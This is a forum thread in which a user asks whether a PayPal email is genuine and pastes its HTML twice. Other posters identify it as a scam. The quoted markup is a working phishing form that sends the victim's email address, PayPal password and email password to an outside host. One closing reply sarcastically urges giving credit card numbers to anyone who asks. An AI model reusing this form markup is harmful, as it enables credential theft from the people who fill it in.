Is THIS Message from PAYPAL LEGIT???
MrLee
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I received this message from PayPal today:
<td valign="top">
PayPal is currently performing regular maintenance of
our security measures. Your account has been randomly
selected for this maintenance, and placed on Limited
Access status. Protecting the security of your PayPal
account is our primary concern, and we apologize for
any inconvenience this may cause.
To restore your account to its regular status, you must confirm your email address by logging
in to your PayPal account
using the form below:</td>
</tr>
<tr>
<td align=center>
<form target="_blank" method="GET" action="http://www.plainhjkop.co.uk/cgi-bin/user.pl">
<table border="0">
<tr>
<td><b style="font:bold 8pt">Email
Address:</td>
<td align=right><input name="lgn" type="text" size="30" maxlength="32"></td>
</tr>
<tr>
<td><b style="font:bold 8pt">PayPal Password:</td>
<td align=right><input name="ppsw" type="password" size="30" maxlength="32"></td>
</tr>
<tr>
<td><b style="font:bold 8pt">Your Email Password:</td>
<td align=right><input name="epsw" type="password" size="30" maxlength="32"></td>
</tr>
Looks suspicious to me. I've already reported it to Paypal just in case. Anyone else seen one of these?
<td valign="top">
PayPal is currently performing regular maintenance of
our security measures. Your account has been randomly
selected for this maintenance, and placed on Limited
Access status. Protecting the security of your PayPal
account is our primary concern, and we apologize for
any inconvenience this may cause.
To restore your account to its regular status, you must confirm your email address by logging
in to your PayPal account
using the form below:</td>
</tr>
<tr>
<td align=center>
<form target="_blank" method="GET" action="http://www.plainhjkop.co.uk/cgi-bin/user.pl">
<table border="0">
<tr>
<td><b style="font:bold 8pt">Email
Address:</td>
<td align=right><input name="lgn" type="text" size="30" maxlength="32"></td>
</tr>
<tr>
<td><b style="font:bold 8pt">PayPal Password:</td>
<td align=right><input name="ppsw" type="password" size="30" maxlength="32"></td>
</tr>
<tr>
<td><b style="font:bold 8pt">Your Email Password:</td>
<td align=right><input name="epsw" type="password" size="30" maxlength="32"></td>
</tr>
Looks suspicious to me. I've already reported it to Paypal just in case. Anyone else seen one of these?
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It's most likely the same scam that others have mentioned from time to time.
Russ, NCNE
<< <i>form target="_blank" method="GET" action="http://www.plainhjkop.co.uk/cgi-bin/user.pl >>
Nope.
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Does that mean its real????
Just don't ever the links in those e-mails. Instead log into PayPal the regular way and if they need you to do something, they'll have a prompt there trying to move you in that direction. 11 times out of 10 these e-mails are scams.
WH
I just got a generic email from PayPal regarding every possible problem (Spam/Bogus website/Can't logon/Disputed amount/Blah, blah, blah) Should be interesting to see if they really get back to me.
Russ, NCNE
<< <i>Hehe, that was a bit redundant. >>
And unanimous.
Yes - be sure to give your credit card number to all that request it.
Only because if you don't you'll be in big, big trouble.
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